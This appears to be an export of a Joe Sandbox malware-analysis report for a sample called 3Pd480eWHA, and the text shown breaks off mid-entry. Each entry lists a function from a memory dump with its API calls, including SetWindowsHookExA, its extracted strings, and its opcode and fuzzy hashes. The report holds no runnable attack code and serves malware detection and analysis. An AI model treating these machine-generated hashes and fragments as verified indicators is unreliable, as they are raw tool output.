Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 358907bc4ed9b71da866d13bd1c5ccdfe2bb6ca233aa368097ae2907d701b187
Instruction ID: 219eaa55d97ba5c65f621aca48025ab9c654f0bd8d14020e442d4019c3f92566
Opcode Fuzzy Hash: 358907bc4ed9b71da866d13bd1c5ccdfe2bb6ca233aa368097ae2907d701b187
Instruction Fuzzy Hash: 6721E6B5D002489FDB10CFAAD980ADEFFF4EB48310F14841AE958A7310D778A940CF61

Function 38EA5CF1 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,38EA7275), ref: 38EA72FF

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 2a6cb84dcb5885925c128938404e950eb098cd60c22e155ed3cbaf45142f3484
Instruction ID: a690263d8a607df989ee5e8e3e70fb3499385d5137097bb4760403229d51db12
Opcode Fuzzy Hash: 2a6cb84dcb5885925c128938404e950eb098cd60c22e155ed3cbaf45142f3484
Instruction Fuzzy Hash: EE219DB18043888FCB10DF9AC84879EBFF0EF09314F14809AD494AB252C7796545CFA1

Function 38EA97F0 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 38EA986B

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 255f0ce1fee34c33faa4f8bc6d5af8d98f2eada733af1ce463fa67a7aaf3851e
Instruction ID: 10d201af412250f2a774c54195a447e06325810ea42bcee8f3ec5484d07aa669
Opcode Fuzzy Hash: 255f0ce1fee34c33faa4f8bc6d5af8d98f2eada733af1ce463fa67a7aaf3851e
Instruction Fuzzy Hash: F321E5B5D002099FDB14DFAAD944BDEFBF5AB88310F108429D469A7250CB78A941CFA1

Function 38EA5D14 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,38EA7275), ref: 38EA72FF

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 544a9cc22ddb325f15091260f1bab841d6a742d9456d09ff74c60cc390ff9047
Instruction ID: ce543594b1ac08b5e12cbefb5ca9176dd215e0aa2c887bf173c96d9083a3dff4
Opcode Fuzzy Hash: 544a9cc22ddb325f15091260f1bab841d6a742d9456d09ff74c60cc390ff9047
Instruction Fuzzy Hash: BC11F5B5C043498FDB20DF9AC845B9EFBF4EB48324F108459D958A7240D779A944CFA5

Function 38EA5E6C Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 38EA7BBD

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5f97d35559f7a006362f0fe59056d17af0bee5ed6cb04638c5b58bff90cafda0
Instruction ID: b145d5bf23f6d0495dbd04920705700b4595068b5acdce95d8d1e84b791e1271
Opcode Fuzzy Hash: 5f97d35559f7a006362f0fe59056d17af0bee5ed6cb04638c5b58bff90cafda0
Instruction Fuzzy Hash: 1F1130B5D043088FCB20DFAAC845B9EBBF5EB48320F208469D958A7300C778A940CFA5

Function 38EA97E9 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 38EA986B

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: f9d67da33047167fb89efa55f01cb286bddc4194885270c07c081cb739922b93
Instruction ID: 1e63680d9708f2230753039ac629c3e5f8af46063564510a7ac931d5ca7fa5a1
Opcode Fuzzy Hash: f9d67da33047167fb89efa55f01cb286bddc4194885270c07c081cb739922b93
Instruction Fuzzy Hash: 70014C76D002098FDB14DFA9D8407EEFBF1BF88310F108529D029AB290CB789941CF60

Function 38EA7B62 Relevance: 1.5, APIs: 1, Instructions: 29comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 38EA7BBD

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 36789f34c9050231d542739e05ea8c038275a13c9d4fc93da2e0de98724a223a
Instruction ID: a6763341b6271e5182b2abd0f3142cae76ff059c0877387479c77ccff5abc4dd
Opcode Fuzzy Hash: 36789f34c9050231d542739e05ea8c038275a13c9d4fc93da2e0de98724a223a
Instruction Fuzzy Hash: 1AF017B69003058FDB20DFA9D845B9ABBF2AF88314F208459D599EB250C778A945CFA1

Function 00113E74 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

\Vzm, xrefs: 001140CB

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: \Vzm
API String ID: 0-779989405
Opcode ID: 8c5617a2d5c2dfeeecbe5a9bf06cbf4ca0760ffb040a237368c9c5e8ab198f53
Instruction ID: 0c264ae0b1454df347b7a432f815d7a9b321774928bb74336022368bfe4a135c
Opcode Fuzzy Hash: 8c5617a2d5c2dfeeecbe5a9bf06cbf4ca0760ffb040a237368c9c5e8ab198f53
Instruction Fuzzy Hash: 88A16C70E003099FDF28CFA9D9857DEBBF2AF48714F248139E414A7294DB749986CB81

Function 00116ED8 Relevance: 1.4, Strings: 1, Instructions: 174COMMON

Download Yara Rule

Strings

LRq, xrefs: 00116F0E

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: defe68d496eba563164f7199895cb89d30c68b418efc6b44a8229964fdf3c5a7
Instruction ID: d7344b7f102d75e2d9204d137eb7c526668e853e84df18b21b46967712aa20b6
Opcode Fuzzy Hash: defe68d496eba563164f7199895cb89d30c68b418efc6b44a8229964fdf3c5a7
Instruction Fuzzy Hash: F8515034704215CFDB18DB69C969AAD7BF2AF8D700F2140A9E406EB3A1DB75DC81CB91

Function 00117D28 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

LRq, xrefs: 00117E09

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 45b3f68de54ffb3a94640a16347a67f9f6720748d80b86d4116001e5b192a615
Instruction ID: a7d8f0085ba197d6bb8f8b3629fe0dc283934a195103e2db8d957b5d83fb0fb7
Opcode Fuzzy Hash: 45b3f68de54ffb3a94640a16347a67f9f6720748d80b86d4116001e5b192a615
Instruction Fuzzy Hash: FF314F71E152198BDB19CFA8C9507DEB7F2EF85300F60856AE801EB390EB749D828B51

Function 389C4C01 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

XPq, xrefs: 389C4D3D

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: XPq
API String ID: 0-1601936878
Opcode ID: 703614cc3b566c9f866a1c0543b9327e91c810a760f8901d7ffe98dcc113a6ab
Instruction ID: 2f181b135710049b872e5716166aa7366944cd2c0f7b8ca536253a2a2cd0cc89
Opcode Fuzzy Hash: 703614cc3b566c9f866a1c0543b9327e91c810a760f8901d7ffe98dcc113a6ab
Instruction Fuzzy Hash: AA418E75F10208DFEB049FA9C815B9EBBF6BF88300F24852AE105AB395DE759C458F91

Function 389CDB55 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

PHq, xrefs: 389CDCB1

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: aec53e9a7327c405621f5bf50ceb4a9e647492eeb4fefca7bc59798f6d794456
Instruction ID: 55139e9d1cdebf6d1fb9fefb3c707fc4861599b46486fd27a3b94b617e381c1c
Opcode Fuzzy Hash: aec53e9a7327c405621f5bf50ceb4a9e647492eeb4fefca7bc59798f6d794456
Instruction Fuzzy Hash: 6841AD74E00309DFEB14EF75C89469EBBB6FF85384F20492AD405EB240DB72A946CB42

Function 389C21AD Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

PHq, xrefs: 389C22FB

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: 28cd5470b3bcd291fcb2881cfc1ae99a9e46bd6effa2ed11f6c6f7d1e9e18817
Instruction ID: 369b52dcb2bc2f43e439d13ff1fcfbba9e5b2d74c445e1deb0468b7237efbbc3
Opcode Fuzzy Hash: 28cd5470b3bcd291fcb2881cfc1ae99a9e46bd6effa2ed11f6c6f7d1e9e18817
Instruction Fuzzy Hash: 7431C034B002058FEB19ABB488647AE7BB7AB89340F104569D412DF365DF36DD42CB92

Function 389C21C0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHq, xrefs: 389C22FB

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: 4bf82745f4a75856259671fe4698f1134cd8416fec90220a1da4140d119bd4f4
Instruction ID: d02b7b446aa395c3e46bdc61fc64915532092d7a02fd9ce2e1e5c9666d6289be
Opcode Fuzzy Hash: 4bf82745f4a75856259671fe4698f1134cd8416fec90220a1da4140d119bd4f4
Instruction Fuzzy Hash: 6431BE30B002098FEB18ABB5C8547AE7BB7AB88744F204568D416DF365DF36DC028B96

Function 00117D98 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

LRq, xrefs: 00117E09

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: d220f7cc59fe53d6f5c42b383b91cec895b840dda3818de0612664d656759da7
Instruction ID: 97f09bec19573f32a43b318e8fe0707196d0d4dd6be9862b18231d1862bce58d
Opcode Fuzzy Hash: d220f7cc59fe53d6f5c42b383b91cec895b840dda3818de0612664d656759da7
Instruction Fuzzy Hash: 8D316031E15209CBDB19CFA8D4507DEB7F2EF85300F208566E801EB390EB70AD828B50

Function 0011F632 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

4'q, xrefs: 0011F648

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 51b731f3a342ff802b47378342f3ac861ff34c6e2ad20b20728fd8ecabe0fc6a
Instruction ID: 1498ae43f0a96edbce0037d10b2d468b7a65657b56a6d26c69c04d80a39fea69
Opcode Fuzzy Hash: 51b731f3a342ff802b47378342f3ac861ff34c6e2ad20b20728fd8ecabe0fc6a
Instruction Fuzzy Hash: E7318A316047028BD729EB74D851A9AB7E2BFC0311750897CE05A9F250DF31B94ACBC6

Function 0011F640 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

4'q, xrefs: 0011F648

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: b7aa1265fb574bc45da286686825821a681425e5411e4b4de26a8589c6e3edf3
Instruction ID: 35a1048ff7a372d54ca667043a5ecacf6a22704f398ce6d507935bcb3fc7f309
Opcode Fuzzy Hash: b7aa1265fb574bc45da286686825821a681425e5411e4b4de26a8589c6e3edf3
Instruction Fuzzy Hash: 8F316931A047018BC729EB78D851A9AB7E2BFC0311710897CE05A8F251DF31B94ACBC6

Function 0011FD6F Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

8, xrefs: 0011FD70

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: d5e2dcf564367e9eaac1cb558f8904d1e14b19cf703a08bf11fe7798eb49a836
Instruction ID: 71f27b62b55a9b229850ecb9403a2fb1eaadda3aca7fc16dec304663b46ff428
Opcode Fuzzy Hash: d5e2dcf564367e9eaac1cb558f8904d1e14b19cf703a08bf11fe7798eb49a836
Instruction Fuzzy Hash: 6D21D330602A429FCB18DF79C580ABA7BE2AF84344B508178C914DB269FB34CA8787C0

Function 00116BA0 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

LRq, xrefs: 00116BD7

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: bc72965e68f4311de3de6306603cea711896b68dec9cf57f5b6dd8356cae7d0f
Instruction ID: f13ede0e8acfd04203e553a2178402f283def76989e4f482af912d83ab666335
Opcode Fuzzy Hash: bc72965e68f4311de3de6306603cea711896b68dec9cf57f5b6dd8356cae7d0f
Instruction Fuzzy Hash: 5C2107343083809FC716AB3888617997FA1EF86300B1545EFE185CB297EB359D59C7A2

Function 00110838 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Ko, xrefs: 00110884

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: Ko
API String ID: 0-716275355
Opcode ID: 973fdd7bbbf5e9d102a29e4a94aa5047db6a245bf13795bed675849fbc54aa1c
Instruction ID: f36c1b457e35cc2586a7d2e220d15557218a530898d5b95456d123b1fa0d7d3e
Opcode Fuzzy Hash: 973fdd7bbbf5e9d102a29e4a94aa5047db6a245bf13795bed675849fbc54aa1c
Instruction Fuzzy Hash: 48112730E083099FEF2A5B7489103E93765DB8A325F10497AD046CF282EBA4CDC18BD2

Function 00110848 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

Ko, xrefs: 00110884

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: Ko
API String ID: 0-716275355
Opcode ID: 6222df16249144536a6438deda5d07c31ac8035f3e989b943b988359efec256f
Instruction ID: 84433aa882366e1be91c52d6b9bfdfb1623b7fc2230c977725fa4fcdd0ba6e4b
Opcode Fuzzy Hash: 6222df16249144536a6438deda5d07c31ac8035f3e989b943b988359efec256f
Instruction Fuzzy Hash: F711A330F042098BEF2EAB79D5547A93356EB89325F20497AD046CF251DBA1CCC68BC1

Function 0011E1C0 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

|, xrefs: 0011E220

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 95c72b238720525e9630581fffdab6c1742734c32c22421b29fa4b794da9f03d
Instruction ID: 35226ef2f0a42a3cd0293507d0c8d2181d63c3b8aa0fe267a45fc2e30afc683c
Opcode Fuzzy Hash: 95c72b238720525e9630581fffdab6c1742734c32c22421b29fa4b794da9f03d
Instruction Fuzzy Hash: 6D117F75F00210CFDB549FB88814BADB7F1BF8C710F15846AE51AE73A4DB3599018B80

Function 0011E1D0 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

|, xrefs: 0011E220

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 827acdf2038dd57f5f8e3bcdf9d1d0a6e7aa40b80550b9d7b01d10d58d3db07e
Instruction ID: 85fb8e449ecc9561325d2d124d45d897b45811d3481734131d97b14ac725052b
Opcode Fuzzy Hash: 827acdf2038dd57f5f8e3bcdf9d1d0a6e7aa40b80550b9d7b01d10d58d3db07e
Instruction Fuzzy Hash: 70114C71F00214DFDB449B78C818BAD7BF5AF4C750F118469E90AE73A0EB35A9418B80

Function 0011EBAC Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

\]5, xrefs: 0011F895

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: \]5
API String ID: 0-2973494676
Opcode ID: ccb54e06ab55cab9463bf491e7082386a9c6391ef35f3d989b0c9b049332d86f
Instruction ID: 8d81d13025b2f0ba3a1dc51fb7b7d121ea53279592691b2d3925be719b4b9652
Opcode Fuzzy Hash: ccb54e06ab55cab9463bf491e7082386a9c6391ef35f3d989b0c9b049332d86f
Instruction Fuzzy Hash: 9DD05E323601249B460CB3ACA4518A977E99BCA71135105BBF409CB352CEA1AC061786

Function 0011F879 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

\]5, xrefs: 0011F895

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: \]5
API String ID: 0-2973494676
Opcode ID: 524103c30f13ce2e95076ecae1d221b3d7b2b8937f5c090de8c9c68f4ca3e394
Instruction ID: a51ac4ce665fdff2fe40e8dd53eac57031e760f5308455307529a2c69500fa96
Opcode Fuzzy Hash: 524103c30f13ce2e95076ecae1d221b3d7b2b8937f5c090de8c9c68f4ca3e394
Instruction Fuzzy Hash: 11D05E313500209B8604B3ACA8115AE73F9CFCA360B9454EAF409EB3A2CE919D4297C1

Function 0011DCA8 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e6a5cda899bd5619d185b315421e1159049e459c99b4c237b830b595795129a
Instruction ID: 345eee9df168a1283c9e8400f933e85603cc450ccfc2c9ec192279cc47038a7c
Opcode Fuzzy Hash: 7e6a5cda899bd5619d185b315421e1159049e459c99b4c237b830b595795129a
Instruction Fuzzy Hash: 06C1F371B002159FDB19DB68D880BAEBBB6FF88310F258569E415CB295CB71EC82C7D1

Function 00114A8C Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c2b5bcf30258db9de88e851648250257962b4e4e8530b58a945a0d7f9049f4
Instruction ID: 25ee0d6c502f140de96432b73d9c4410419aeca6c51946e759179ba99b360e1d
Opcode Fuzzy Hash: 58c2b5bcf30258db9de88e851648250257962b4e4e8530b58a945a0d7f9049f4
Instruction Fuzzy Hash: 6AB15C70E043198FDF28CFA8D8817DDBBF1AF48B54F248539D855AB294EB749885CB81

Function 0011A266 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bbf72d27f2c8f5b23e1ed20b1376f57c23224c2650a6b28bc9a2c95d27c18fa
Instruction ID: b6c92092c2b012f3cf2b27717cc42a6af36fbc773b347d1451265aba397cbf4d
Opcode Fuzzy Hash: 0bbf72d27f2c8f5b23e1ed20b1376f57c23224c2650a6b28bc9a2c95d27c18fa
Instruction Fuzzy Hash: AEA16035A012049FCB18DB68D584AADBBF2EF88310F658569E906EB355DF35EC82CB41

Function 389C6298 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28c19722b879c9e8b45941155d7320c77de7b3e9fca6f3de4460ab16be1686d3
Instruction ID: 0dbebd144549400ed1087346ada2588acca27e77653a49af5524108df3148952
Opcode Fuzzy Hash: 28c19722b879c9e8b45941155d7320c77de7b3e9fca6f3de4460ab16be1686d3
Instruction Fuzzy Hash: 6261C871F001208FDB159B7DC84065EBEEBAFC4264B194439D80AEB364DEB6ED4287D2

Function 389C4348 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2255d53941894057692c0bce10857222feff2464bba29438df9b96055924a73f
Instruction ID: 78f6c0f7703ab302420768561bc81f6dbdf3ce318fa85b88fdb37ac51041d782
Opcode Fuzzy Hash: 2255d53941894057692c0bce10857222feff2464bba29438df9b96055924a73f
Instruction Fuzzy Hash: 5E813C34B002098FDB44DBB9C55079EBBF7AF89304F608529E50AEB348DE75DD428B81

Function 389C4664 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08ff45c4e9360620120aaabe79ee7fb3deb39e29c8f5e8b09934727c2c81ed62
Instruction ID: 7ada8ebe24d2ec66094f25409b58cfcbe221022501adfaebcba6ce85af78dacc
Opcode Fuzzy Hash: 08ff45c4e9360620120aaabe79ee7fb3deb39e29c8f5e8b09934727c2c81ed62
Instruction Fuzzy Hash: 0A913D34E00619CFEB10CF68C890B9DBBB1FF89304F208599D549BB295DB71AA85CF91

Function 389C4678 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05005c52f00606214ebcf801bd81ed7149cb5c37f3092f7cadde35c305542a0c
Instruction ID: e4b53d953e486abc6cfa03b439640914a136f34c9dac7790766ddf9920603965
Opcode Fuzzy Hash: 05005c52f00606214ebcf801bd81ed7149cb5c37f3092f7cadde35c305542a0c
Instruction Fuzzy Hash: 49913C34E00619CBEB50DF68C880B9DB7B1FF89304F208699D549BB385DB71AA85CF91

Function 389CFD29 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9361dc1f1769c688927948b197e0c1c052de85ecf7aa61c7da296dd8eef93c
Instruction ID: 76b39286f7630be7eaffe9b9e47b588aaf019bd549aea224484eb3f089973ab3
Opcode Fuzzy Hash: ea9361dc1f1769c688927948b197e0c1c052de85ecf7aa61c7da296dd8eef93c
Instruction Fuzzy Hash: 5A511335E00109DFEB14EFB8E45469DBBB6FF85315F10896AE006E7255DB368846CB82

Function 389CFAD8 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a872a4e8fb2c0e280359729f883c68d7c9e9e5bcdef82c010b348f7a7b608c8
Instruction ID: e6cd12b7415dcddd59b2ac4cc6e0ec064ba6c8d31890c4101e6b2dbd115294c9
Opcode Fuzzy Hash: 1a872a4e8fb2c0e280359729f883c68d7c9e9e5bcdef82c010b348f7a7b608c8
Instruction Fuzzy Hash: 6A51A338B10204DBFB245668C854B5F2A6FD7CD394F60442AE50ADB399DEBADC4293D3

Function 389CFAE8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2014d674af0671c6ac13cc2e9eded1de2d90dee9cabbed86e73ea0423779cc50
Instruction ID: f69c06d5819daee9452f30d45eb04dccd8abced54479a73e241e5948f565c954
Opcode Fuzzy Hash: 2014d674af0671c6ac13cc2e9eded1de2d90dee9cabbed86e73ea0423779cc50
